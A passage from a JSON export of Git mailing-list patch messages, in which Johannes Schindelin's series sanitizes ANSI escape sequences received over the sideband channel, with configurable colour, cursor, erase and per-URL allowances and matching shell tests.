src, n);\n+\t\treturn;\n+\t}\n+\n \tstrbuf_grow(dest, n);\n \tfor (; n && *src; src++, n--) {\n \t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n') {\ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex aa5b570571..9caee9a07f 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -105,9 +105,15 @@ test_expect_success 'disallow (color) control sequences in sideband' '\n \tEOF\n \ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n \ttest_commit need-at-least-one-commit &&\n+\n \tgit clone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >decoded &&\n-\ttest_grep ! RED decoded\n+\ttest_grep ! RED decoded &&\n+\n+\trm -rf throw-away &&\n+\tgit -c sideband.allowControlCharacters clone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >decoded &&\n+\ttest_grep RED decoded\n '\n \n test_done\n-- \ngitgitgadget\n\n"},{"id":"535050","messageId":"919111f590fb76eebdaaa47e36572dbc5e0c53d4.1770113882.git.gitgitgadget@gmail.com","threadId":"62809","inReplyTo":"pull.1853.v4.git.1770113882.gitgitgadget@gmail.com","subject":"[PATCH v4 3/6] sideband: do allow ANSI color sequences by default","fromName":"Johannes Schindelin via GitGitGadget","fromEmail":"gitgitgadget@gmail.com","sentAt":"2026-02-03T10:17:59Z","receivedAt":"2026-02-03T10:18:11Z","isPatch":true,"body":"From: Johannes Schindelin <johannes.schindelin@gmx.de>\n\nThe preceding two commits introduced special handling of the sideband\nchannel to neutralize ANSI escape sequences before sending the payload\nto the terminal, and `sideband.allowControlCharacters` to override that\nbehavior.\n\nHowever, as reported by brian m. carlson, some `pre-receive` hooks that\nare actively used in practice want to color their messages and therefore\nrely on the fact that Git passes them through to the terminal, even\nthough they have no way to determine whether the receiving side can\nactually handle Escape sequences (think e.g. about the practice\nrecommended by Git that third-party applications wishing to use Git\nfunctionality parse the output of Git commands).\n\nIn contrast to other ANSI escape sequences, it is highly unlikely that\ncoloring sequences can be essential tools in attack vectors that mislead\nGit users e.g. by hiding crucial information.\n\nTherefore we can have both: Continue to allow ANSI coloring sequences to\nbe passed to the terminal by default, and neutralize all other ANSI\nEscape sequences.\n\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n---\n Documentation/config/sideband.adoc  | 18 ++++++--\n sideband.c                          | 66 +++++++++++++++++++++++++++--\n t/t5409-colorize-remote-messages.sh | 16 ++++++-\n 3 files changed, 91 insertions(+), 9 deletions(-)\n\ndiff --git a/Documentation/config/sideband.adoc b/Documentation/config/sideband.adoc\nindex 3fb5045cd7..b55c73726f 100644\n--- a/Documentation/config/sideband.adoc\n+++ b/Documentation/config/sideband.adoc\n@@ -1,5 +1,17 @@\n sideband.allowControlCharacters::\n \tBy default, control characters that are delivered via the sideband\n-\tare masked, to prevent potentially unwanted ANSI escape sequences\n-\tfrom being sent to the terminal. Use this config setting to override\n-\tthis behavior.\n+\tare masked, except ANSI color sequences. This prevents potentially\n+\tunwanted ANSI escape sequences from being sent to the terminal. Use\n+\tthis config setting to override this behavior:\n++\n+--\n+\t`default`::\n+\t`color`::\n+\t\tAllow ANSI color sequences, line feeds and horizontal tabs,\n+\t\tbut mask all other control characters. This is the default.\n+\t`false`::\n+\t\tMask all control characters other than line feeds and\n+\t\thorizontal tabs.\n+\t`true`::\n+\t\tAllow all control characters to be sent to the terminal.\n+--\ndiff --git a/sideband.c b/sideband.c\nindex 682f1cbbed..eeba6fa2ca 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -26,7 +26,12 @@ static struct keyword_entry keywords[] = {\n \t{ \"error\",\tGIT_COLOR_BOLD_RED },\n };\n \n-static int allow_control_characters;\n+static enum {\n+\tALLOW_NO_CONTROL_CHARACTERS  = 0,\n+\tALLOW_ANSI_COLOR_SEQUENCES   = 1<<0,\n+\tALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,\n+\tALLOW_ALL_CONTROL_CHARACTERS = 1<<1,\n+} allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n \n /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n static enum git_colorbool use_sideband_colors(void)\n@@ -41,8 +46,26 @@ static enum git_colorbool use_sideband_colors(void)\n \tif (use_sideband_colors_cached != GIT_COLOR_UNKNOWN)\n \t\treturn use_sideband_colors_cached;\n \n-\trepo_config_get_bool(the_repository, \"sideband.allowcontrolcharacters\",\n-\t\t\t    &allow_control_characters);\n+\tswitch (repo_config_get_maybe_bool(the_repository, \"sideband.allowcontrolcharacters\", &i)) {\n+\tcase 0: /* Boolean value */\n+\t\tallow_control_characters = i ? ALLOW_ALL_CONTROL_CHARACTERS :\n+\t\t\tALLOW_NO_CONTROL_CHARACTERS;\n+\t\tbreak;\n+\tcase -1: /* non-Boolean value */\n+\t\tif (repo_config_get_string_tmp(the_repository, \"sideband.allowcontrolcharacters\",\n+\t\t\t\t\t      &value))\n+\t\t\t; /* huh? `get_maybe_bool()` returned -1 */\n+\t\telse if (!strcmp(value, \"default\"))\n+\t\t\tallow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n+\t\telse if (!strcmp(value, \"color\"))\n+\t\t\tallow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n+\t\telse\n+\t\t\twarning(_(\"unrecognized value for `sideband.\"\n+\t\t\t\t  \"allowControlCharacters`: '%s'\"), value);\n+\t\tbreak;\n+\tdefault:\n+\t\tbreak; /* not configured */\n+\t}\n \n \tif (!repo_config_get_string_tmp(the_repository, key, &value))\n \t\tuse_sideband_colors_cached = git_config_colorbool(key, value);\n@@ -71,9 +94,41 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n \t\tlist_config_item(list, prefix, keywords[i].keyword);\n }\n \n+static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int n)\n+{\n+\tint i;\n+\n+\t/*\n+\t * Valid ANSI color sequences are of the form\n+\t *\n+\t * ESC [ [<n> [; <n>]*] m\n+\t *\n+\t * These are part of the Select Graphic Rendition sequences which\n+\t * contain more than just color sequences, for more details see\n+\t * https://en.wikipedia.org/wiki/ANSI_escape_code#SGR.\n+\t */\n+\n+\tif (allow_control_characters != ALLOW_ANSI_COLOR_SEQUENCES ||\n+\t    n < 3 || src[0] != '\\x1b' || src[1] != '[')\n+\t\treturn 0;\n+\n+\tfor (i = 2; i < n; i++) {\n+\t\tif (src[i] == 'm') {\n+\t\t\tstrbuf_add(dest, src, i + 1);\n+\t\t\treturn i;\n+\t\t}\n+\t\tif (!isdigit(src[i]) && src[i] != ';')\n+\t\t\tbreak;\n+\t}\n+\n+\treturn 0;\n+}\n+\n static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n {\n-\tif (allow_control_characters) {\n+\tint i;\n+\n+\tif (allow_control_characters == ALLOW_ALL_CONTROL_CHARACTERS) {\n \t\tstrbuf_add(dest, src, n);\n \t\treturn;\n \t}\n@@ -82,6 +137,9 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n \tfor (; n && *src; src++, n--) {\n \t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n') {\n \t\t\tstrbuf_addch(dest, *src);\n+\t\t} else if ((i = handle_ansi_color_sequence(dest, src, n))) {\n+\t\t\tsrc += i;\n+\t\t\tn -= i;\n \t\t} else {\n \t\t\tstrbuf_addch(dest, '^');\n \t\t\tstrbuf_addch(dest, *src == 0x7f ? '?' : 0x40 + *src);\ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex 9caee9a07f..e5092d3b42 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -100,7 +100,7 @@ test_expect_success 'fallback to color.ui' '\n \n test_expect_success 'disallow (color) control sequences in sideband' '\n \twrite_script .git/color-me-surprised <<-\\EOF &&\n-\tprintf \"error: Have you \\\\033[31mread\\\\033[m this?\\\\n\" >&2\n+\tprintf \"error: Have you \\\\033[31mread\\\\033[m this?\\\\a\\\\n\" >&2\n \texec \"$@\"\n \tEOF\n \ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n@@ -108,12 +108,24 @@ test_expect_success 'disallow (color) control sequences in sideband' '\n \n \tgit clone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >decoded &&\n+\ttest_grep RED decoded &&\n+\ttest_grep \"\\\\^G\" stderr &&\n+\ttr -dc \"\\\\007\" <stderr >actual &&\n+\ttest_must_be_empty actual &&\n+\n+\trm -rf throw-away &&\n+\tgit -c sideband.allowControlCharacters=false \\\n+\t\tclone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >decoded &&\n \ttest_grep ! RED decoded &&\n+\ttest_grep \"\\\\^G\" stderr &&\n \n \trm -rf throw-away &&\n \tgit -c sideband.allowControlCharacters clone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >decoded &&\n-\ttest_grep RED decoded\n+\ttest_grep RED decoded &&\n+\ttr -dc \"\\\\007\" <stderr >actual &&\n+\ttest_file_not_empty actual\n '\n \n test_done\n-- \ngitgitgadget\n\n"},{"id":"535051","messageId":"ec48f1cba199d5ca466ad26cecfc4dfeb422fdf8.1770113882.git.gitgitgadget@gmail.com","threadId":"62809","inReplyTo":"pull.1853.v4.git.1770113882.gitgitgadget@gmail.com","subject":"[PATCH v4 4/6] sideband: add options to allow more control sequences to be passed through","fromName":"Johannes Schindelin via GitGitGadget","fromEmail":"gitgitgadget@gmail.com","sentAt":"2026-02-03T10:18:00Z","receivedAt":"2026-02-03T10:18:13Z","isPatch":true,"body":"From: Johannes Schindelin <johannes.schindelin@gmx.de>\n\nEven though control sequences that erase characters are quite juicy for\nattack scenarios, where attackers are eager to hide traces of suspicious\nactivities, during the review of the side band sanitizing patch series\nconcerns were raised that there might be some legimitate scenarios where\nGit server's `pre-receive` hooks use those sequences in a benign way.\n\nControl sequences to move the cursor can likewise be used to hide tracks\nby overwriting characters, and have been equally pointed out as having\nlegitimate users.\n\nLet's add options to let users opt into passing through those ANSI\nEscape sequences: `sideband.allowControlCharacters` now supports also\n`cursor` and `erase`, and it parses the value as a comma-separated list.\n\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n---\n Documentation/config/sideband.adoc  |  9 ++-\n sideband.c                          | 91 ++++++++++++++++++++++++-----\n t/t5409-colorize-remote-messages.sh | 38 ++++++++++++\n 3 files changed, 123 insertions(+), 15 deletions(-)\n\ndiff --git a/Documentation/config/sideband.adoc b/Documentation/config/sideband.adoc\nindex b55c73726f..2bf0426284 100644\n--- a/Documentation/config/sideband.adoc\n+++ b/Documentation/config/sideband.adoc\n@@ -2,13 +2,20 @@ sideband.allowControlCharacters::\n \tBy default, control characters that are delivered via the sideband\n \tare masked, except ANSI color sequences. This prevents potentially\n \tunwanted ANSI escape sequences from being sent to the terminal. Use\n-\tthis config setting to override this behavior:\n+\tthis config setting to override this behavior (the value can be\n+\ta comma-separated list of the following keywords):\n +\n --\n \t`default`::\n \t`color`::\n \t\tAllow ANSI color sequences, line feeds and horizontal tabs,\n \t\tbut mask all other control characters. This is the default.\n+\t`cursor:`:\n+\t\tAllow control sequences that move the cursor. This is\n+\t\tdisabled by default.\n+\t`erase`::\n+\t\tAllow control sequences that erase charactrs. This is\n+\t\tdisabled by default.\n \t`false`::\n \t\tMask all control characters other than line feeds and\n \t\thorizontal tabs.\ndiff --git a/sideband.c b/sideband.c\nindex eeba6fa2ca..0b420ca319 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -29,9 +29,43 @@ static struct keyword_entry keywords[] = {\n static enum {\n \tALLOW_NO_CONTROL_CHARACTERS  = 0,\n \tALLOW_ANSI_COLOR_SEQUENCES   = 1<<0,\n+\tALLOW_ANSI_CURSOR_MOVEMENTS  = 1<<1,\n+\tALLOW_ANSI_ERASE             = 1<<2,\n \tALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,\n-\tALLOW_ALL_CONTROL_CHARACTERS = 1<<1,\n-} allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n+\tALLOW_ALL_CONTROL_CHARACTERS = 1<<3,\n+} allow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n+\n+static inline int skip_prefix_in_csv(const char *value, const char *prefix,\n+\t\t\t\t     const char **out)\n+{\n+\tif (!skip_prefix(value, prefix, &value) ||\n+\t    (*value && *value != ','))\n+\t\treturn 0;\n+\t*out = value + !!*value;\n+\treturn 1;\n+}\n+\n+static void parse_allow_control_characters(const char *value)\n+{\n+\tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n+\twhile (*value) {\n+\t\tif (skip_prefix_in_csv(value, \"default\", &value))\n+\t\t\tallow_control_characters |= ALLOW_DEFAULT_ANSI_SEQUENCES;\n+\t\telse if (skip_prefix_in_csv(value, \"color\", &value))\n+\t\t\tallow_control_characters |= ALLOW_ANSI_COLOR_SEQUENCES;\n+\t\telse if (skip_prefix_in_csv(value, \"cursor\", &value))\n+\t\t\tallow_control_characters |= ALLOW_ANSI_CURSOR_MOVEMENTS;\n+\t\telse if (skip_prefix_in_csv(value, \"erase\", &value))\n+\t\t\tallow_control_characters |= ALLOW_ANSI_ERASE;\n+\t\telse if (skip_prefix_in_csv(value, \"true\", &value))\n+\t\t\tallow_control_characters = ALLOW_ALL_CONTROL_CHARACTERS;\n+\t\telse if (skip_prefix_in_csv(value, \"false\", &value))\n+\t\t\tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n+\t\telse\n+\t\t\twarning(_(\"unrecognized value for `sideband.\"\n+\t\t\t\t  \"allowControlCharacters`: '%s'\"), value);\n+\t}\n+}\n \n /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n static enum git_colorbool use_sideband_colors(void)\n@@ -55,13 +89,8 @@ static enum git_colorbool use_sideband_colors(void)\n \t\tif (repo_config_get_string_tmp(the_repository, \"sideband.allowcontrolcharacters\",\n \t\t\t\t\t      &value))\n \t\t\t; /* huh? `get_maybe_bool()` returned -1 */\n-\t\telse if (!strcmp(value, \"default\"))\n-\t\t\tallow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n-\t\telse if (!strcmp(value, \"color\"))\n-\t\t\tallow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n \t\telse\n-\t\t\twarning(_(\"unrecognized value for `sideband.\"\n-\t\t\t\t  \"allowControlCharacters`: '%s'\"), value);\n+\t\t\tparse_allow_control_characters(value);\n \t\tbreak;\n \tdefault:\n \t\tbreak; /* not configured */\n@@ -94,7 +123,7 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n \t\tlist_config_item(list, prefix, keywords[i].keyword);\n }\n \n-static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int n)\n+static int handle_ansi_sequence(struct strbuf *dest, const char *src, int n)\n {\n \tint i;\n \n@@ -106,14 +135,47 @@ static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int\n \t * These are part of the Select Graphic Rendition sequences which\n \t * contain more than just color sequences, for more details see\n \t * https://en.wikipedia.org/wiki/ANSI_escape_code#SGR.\n+\t *\n+\t * The cursor movement sequences are:\n+\t *\n+\t * ESC [ n A - Cursor up n lines (CUU)\n+\t * ESC [ n B - Cursor down n lines (CUD)\n+\t * ESC [ n C - Cursor forward n columns (CUF)\n+\t * ESC [ n D - Cursor back n columns (CUB)\n+\t * ESC [ n E - Cursor next line, beginning (CNL)\n+\t * ESC [ n F - Cursor previous line, beginning (CPL)\n+\t * ESC [ n G - Cursor to column n (CHA)\n+\t * ESC [ n ; m H - Cursor position (row n, col m) (CUP)\n+\t * ESC [ n ; m f - Same as H (HVP)\n+\t *\n+\t * The sequences to erase characters are:\n+\t *\n+\t *\n+\t * ESC [ 0 J - Clear from cursor to end of screen (ED)\n+\t * ESC [ 1 J - Clear from cursor to beginning of screen (ED)\n+\t * ESC [ 2 J - Clear entire screen (ED)\n+\t * ESC [ 3 J - Clear entire screen + scrollback (ED) - xterm extension\n+\t * ESC [ 0 K - Clear from cursor to end of line (EL)\n+\t * ESC [ 1 K - Clear from cursor to beginning of line (EL)\n+\t * ESC [ 2 K - Clear entire line (EL)\n+\t * ESC [ n M - Delete n lines (DL)\n+\t * ESC [ n P - Delete n characters (DCH)\n+\t * ESC [ n X - Erase n characters (ECH)\n+\t *\n+\t * For a comprehensive list of common ANSI Escape sequences, see\n+\t * https://www.xfree86.org/current/ctlseqs.html\n \t */\n \n-\tif (allow_control_characters != ALLOW_ANSI_COLOR_SEQUENCES ||\n-\t    n < 3 || src[0] != '\\x1b' || src[1] != '[')\n+\tif (n < 3 || src[0] != '\\x1b' || src[1] != '[')\n \t\treturn 0;\n \n \tfor (i = 2; i < n; i++) {\n-\t\tif (src[i] == 'm') {\n+\t\tif (((allow_control_characters & ALLOW_ANSI_COLOR_SEQUENCES) &&\n+\t\t     src[i] == 'm') ||\n+\t\t    ((allow_control_characters & ALLOW_ANSI_CURSOR_MOVEMENTS) &&\n+\t\t     strchr(\"ABCDEFGHf\", src[i])) ||\n+\t\t    ((allow_control_characters & ALLOW_ANSI_ERASE) &&\n+\t\t     strchr(\"JKMPX\", src[i]))) {\n \t\t\tstrbuf_add(dest, src, i + 1);\n \t\t\treturn i;\n \t\t}\n@@ -128,7 +190,7 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n {\n \tint i;\n \n-\tif (allow_control_characters == ALLOW_ALL_CONTROL_CHARACTERS) {\n+\tif ((allow_control_characters & ALLOW_ALL_CONTROL_CHARACTERS)) {\n \t\tstrbuf_add(dest, src, n);\n \t\treturn;\n \t}\n@@ -137,7 +199,8 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n \tfor (; n && *src; src++, n--) {\n \t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n') {\n \t\t\tstrbuf_addch(dest, *src);\n-\t\t} else if ((i = handle_ansi_color_sequence(dest, src, n))) {\n+\t\t} else if (allow_control_characters != ALLOW_NO_CONTROL_CHARACTERS &&\n+\t\t\t   (i = handle_ansi_sequence(dest, src, n))) {\n \t\t\tsrc += i;\n \t\t\tn -= i;\n \t\t} else {\ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex e5092d3b42..896e790bf9 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -128,4 +128,42 @@ test_expect_success 'disallow (color) control sequences in sideband' '\n \ttest_file_not_empty actual\n '\n \n+test_decode_csi() {\n+\tawk '{\n+\t\twhile (match($0, /\\033/) != 0) {\n+\t\t\tprintf \"%sCSI \", substr($0, 1, RSTART-1);\n+\t\t\t$0 = substr($0, RSTART + RLENGTH, length($0) - RSTART - RLENGTH + 1);\n+\t\t}\n+\t\tprint\n+\t}'\n+}\n+\n+test_expect_success 'control sequences in sideband allowed by default' '\n+\twrite_script .git/color-me-surprised <<-\\EOF &&\n+\tprintf \"error: \\\\033[31mcolor\\\\033[m\\\\033[Goverwrite\\\\033[Gerase\\\\033[K\\\\033?25l\\\\n\" >&2\n+\texec \"$@\"\n+\tEOF\n+\ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n+\ttest_commit need-at-least-one-commit-at-least &&\n+\n+\trm -rf throw-away &&\n+\tgit clone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >color-decoded &&\n+\ttest_decode_csi <color-decoded >decoded &&\n+\ttest_grep ! \"CSI \\\\[K\" decoded &&\n+\ttest_grep ! \"CSI \\\\[G\" decoded &&\n+\ttest_grep \"\\\\^\\\\[?25l\" decoded &&\n+\n+\trm -rf throw-away &&\n+\tgit -c sideband.allowControlCharacters=erase,cursor,color \\\n+\t\tclone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >color-decoded &&\n+\ttest_decode_csi <color-decoded >decoded &&\n+\ttest_grep \"RED\" decoded &&\n+\ttest_grep \"CSI \\\\[K\" decoded &&\n+\ttest_grep \"CSI \\\\[G\" decoded &&\n+\ttest_grep ! \"\\\\^\\\\[\\\\[K\" decoded &&\n+\ttest_grep ! \"\\\\^\\\\[\\\\[G\" decoded\n+'\n+\n test_done\n-- \ngitgitgadget\n\n"},{"id":"535052","messageId":"692d1a63edca011c6f556d6b0577659cba0a1a00.1770113882.git.gitgitgadget@gmail.com","threadId":"62809","inReplyTo":"pull.1853.v4.git.1770113882.gitgitgadget@gmail.com","subject":"[PATCH v4 5/6] sideband: offer to configure sanitizing on a per-URL basis","fromName":"Johannes Schindelin via GitGitGadget","fromEmail":"gitgitgadget@gmail.com","sentAt":"2026-02-03T10:18:01Z","receivedAt":"2026-02-03T10:18:16Z","isPatch":true,"body":"From: Johannes Schindelin <johannes.schindelin@gmx.de>\n\nThe main objection against sanitizing the sideband that was raised\nduring the review of the sideband sanitizing patches, first on the\ngit-security mailing list, then on the public mailing list, was that\nthere are some setups where server-side `pre-receive` hooks want to\nerror out, giving colorful messages to the users on the client side (if\nthey are not redirecting the output into a file, that is).\n\nTo avoid breaking such setups, the default chosen by the sideband\nsanitizing patches is to pass through ANSI color sequences.\n\nStill, there might be some use case out there where that is not enough.\nTherefore the `sideband.allowControlCharacters` config setting allows\nfor configuring  levels of sanitizing.\n\nAs Junio Hamano pointed out, to keep users safe by default, we need to\nbe able to scope this to some servers because while a user may trust\ntheir company's Git server, the same might not apply to other Git\nservers.\n\nTo allow for this, let's imitate the way `http.<url>.*` offers\nto scope config settings to certain URLs, by letting users\noverride the `sideband.allowControlCharacters` setting via\n`sideband.<url>.allowControlCharacters`.\n\nSuggested-by: Junio Hamano <gitster@pobox.com>\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n---\n Documentation/config/sideband.adoc  |  4 ++\n sideband.c                          | 81 ++++++++++++++++++++---------\n sideband.h                          | 14 +++++\n t/t5409-colorize-remote-messages.sh | 24 +++++++++\n transport.c                         |  3 ++\n 5 files changed, 102 insertions(+), 24 deletions(-)\n\ndiff --git a/Documentation/config/sideband.adoc b/Documentation/config/sideband.adoc\nindex 2bf0426284..32088bbf2f 100644\n--- a/Documentation/config/sideband.adoc\n+++ b/Documentation/config/sideband.adoc\n@@ -22,3 +22,7 @@ sideband.allowControlCharacters::\n \t`true`::\n \t\tAllow all control characters to be sent to the terminal.\n --\n+\n+sideband.<url>.*::\n+\tApply the `sideband.*` option selectively to specific URLs. The\n+\tsame URL matching logic applies as for `http.<url>.*` settings.\ndiff --git a/sideband.c b/sideband.c\nindex 0b420ca319..a90db9e288 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -10,6 +10,7 @@\n #include \"help.h\"\n #include \"pkt-line.h\"\n #include \"write-or-die.h\"\n+#include \"urlmatch.h\"\n \n struct keyword_entry {\n \t/*\n@@ -27,13 +28,14 @@ static struct keyword_entry keywords[] = {\n };\n \n static enum {\n-\tALLOW_NO_CONTROL_CHARACTERS  = 0,\n-\tALLOW_ANSI_COLOR_SEQUENCES   = 1<<0,\n-\tALLOW_ANSI_CURSOR_MOVEMENTS  = 1<<1,\n-\tALLOW_ANSI_ERASE             = 1<<2,\n-\tALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,\n-\tALLOW_ALL_CONTROL_CHARACTERS = 1<<3,\n-} allow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n+\tALLOW_CONTROL_SEQUENCES_UNSET = -1,\n+\tALLOW_NO_CONTROL_CHARACTERS   = 0,\n+\tALLOW_ANSI_COLOR_SEQUENCES    = 1<<0,\n+\tALLOW_ANSI_CURSOR_MOVEMENTS   = 1<<1,\n+\tALLOW_ANSI_ERASE              = 1<<2,\n+\tALLOW_DEFAULT_ANSI_SEQUENCES  = ALLOW_ANSI_COLOR_SEQUENCES,\n+\tALLOW_ALL_CONTROL_CHARACTERS  = 1<<3,\n+} allow_control_characters = ALLOW_CONTROL_SEQUENCES_UNSET;\n \n static inline int skip_prefix_in_csv(const char *value, const char *prefix,\n \t\t\t\t     const char **out)\n@@ -45,8 +47,19 @@ static inline int skip_prefix_in_csv(const char *value, const char *prefix,\n \treturn 1;\n }\n \n-static void parse_allow_control_characters(const char *value)\n+int sideband_allow_control_characters_config(const char *var, const char *value)\n {\n+\tswitch (git_parse_maybe_bool(value)) {\n+\tcase 0:\n+\t\tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n+\t\treturn 0;\n+\tcase 1:\n+\t\tallow_control_characters = ALLOW_ALL_CONTROL_CHARACTERS;\n+\t\treturn 0;\n+\tdefault:\n+\t\tbreak;\n+\t}\n+\n \tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n \twhile (*value) {\n \t\tif (skip_prefix_in_csv(value, \"default\", &value))\n@@ -62,9 +75,37 @@ static void parse_allow_control_characters(const char *value)\n \t\telse if (skip_prefix_in_csv(value, \"false\", &value))\n \t\t\tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n \t\telse\n-\t\t\twarning(_(\"unrecognized value for `sideband.\"\n-\t\t\t\t  \"allowControlCharacters`: '%s'\"), value);\n+\t\t\twarning(_(\"unrecognized value for '%s': '%s'\"), var, value);\n \t}\n+\treturn 0;\n+}\n+\n+static int sideband_config_callback(const char *var, const char *value,\n+\t\t\t\t    const struct config_context *ctx UNUSED,\n+\t\t\t\t    void *data UNUSED)\n+{\n+\tif (!strcmp(var, \"sideband.allowcontrolcharacters\"))\n+\t\treturn sideband_allow_control_characters_config(var, value);\n+\n+\treturn 0;\n+}\n+\n+void sideband_apply_url_config(const char *url)\n+{\n+\tstruct urlmatch_config config = URLMATCH_CONFIG_INIT;\n+\tchar *normalized_url;\n+\n+\tif (!url)\n+\t\tBUG(\"must not call sideband_apply_url_config(NULL)\");\n+\n+\tconfig.section = \"sideband\";\n+\tconfig.collect_fn = sideband_config_callback;\n+\n+\tnormalized_url = url_normalize(url, &config.url);\n+\trepo_config(the_repository, urlmatch_config_entry, &config);\n+\tfree(normalized_url);\n+\tstring_list_clear(&config.vars, 1);\n+\turlmatch_config_release(&config);\n }\n \n /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n@@ -80,20 +121,12 @@ static enum git_colorbool use_sideband_colors(void)\n \tif (use_sideband_colors_cached != GIT_COLOR_UNKNOWN)\n \t\treturn use_sideband_colors_cached;\n \n-\tswitch (repo_config_get_maybe_bool(the_repository, \"sideband.allowcontrolcharacters\", &i)) {\n-\tcase 0: /* Boolean value */\n-\t\tallow_control_characters = i ? ALLOW_ALL_CONTROL_CHARACTERS :\n-\t\t\tALLOW_NO_CONTROL_CHARACTERS;\n-\t\tbreak;\n-\tcase -1: /* non-Boolean value */\n-\t\tif (repo_config_get_string_tmp(the_repository, \"sideband.allowcontrolcharacters\",\n-\t\t\t\t\t      &value))\n-\t\t\t; /* huh? `get_maybe_bool()` returned -1 */\n-\t\telse\n-\t\t\tparse_allow_control_characters(value);\n-\t\tbreak;\n-\tdefault:\n-\t\tbreak; /* not configured */\n+\tif (allow_control_characters == ALLOW_CONTROL_SEQUENCES_UNSET) {\n+\t\tif (!repo_config_get_value(the_repository, \"sideband.allowcontrolcharacters\", &value))\n+\t\t\tsideband_allow_control_characters_config(\"sideband.allowcontrolcharacters\", value);\n+\n+\t\tif (allow_control_characters == ALLOW_CONTROL_SEQUENCES_UNSET)\n+\t\t\tallow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n \t}\n \n \tif (!repo_config_get_string_tmp(the_repository, key, &value))\ndiff --git a/sideband.h b/sideband.h\nindex 5a25331be5..d15fa4015f 100644\n--- a/sideband.h\n+++ b/sideband.h\n@@ -30,4 +30,18 @@ int demultiplex_sideband(const char *me, int status,\n \n void send_sideband(int fd, int band, const char *data, ssize_t sz, int packet_max);\n \n+/*\n+ * Apply sideband configuration for the given URL. This should be called\n+ * when a transport is created to allow URL-specific configuration of\n+ * sideband behavior (e.g., sideband.<url>.allowControlCharacters).\n+ */\n+void sideband_apply_url_config(const char *url);\n+\n+/*\n+ * Parse and set the sideband allow control characters configuration.\n+ * The var parameter should be the key name (without section prefix).\n+ * Returns 0 if the variable was recognized and handled, non-zero otherwise.\n+ */\n+int sideband_allow_control_characters_config(const char *var, const char *value);\n+\n #endif\ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex 896e790bf9..3010913bb1 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -166,4 +166,28 @@ test_expect_success 'control sequences in sideband allowed by default' '\n \ttest_grep ! \"\\\\^\\\\[\\\\[G\" decoded\n '\n \n+test_expect_success 'allow all control sequences for a specific URL' '\n+\twrite_script .git/eraser <<-\\EOF &&\n+\tprintf \"error: Ohai!\\\\r\\\\033[K\" >&2\n+\texec \"$@\"\n+\tEOF\n+\ttest_config_global uploadPack.packObjectsHook ./eraser &&\n+\ttest_commit one-more-please &&\n+\n+\trm -rf throw-away &&\n+\tgit clone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >color-decoded &&\n+\ttest_decode_csi <color-decoded >decoded &&\n+\ttest_grep ! \"CSI \\\\[K\" decoded &&\n+\ttest_grep \"\\\\^\\\\[\\\\[K\" decoded &&\n+\n+\trm -rf throw-away &&\n+\tgit -c \"sideband.file://.allowControlCharacters=true\" \\\n+\t\tclone --no-local \"file://$PWD\" throw-away 2>stderr &&\n+\ttest_decode_color <stderr >color-decoded 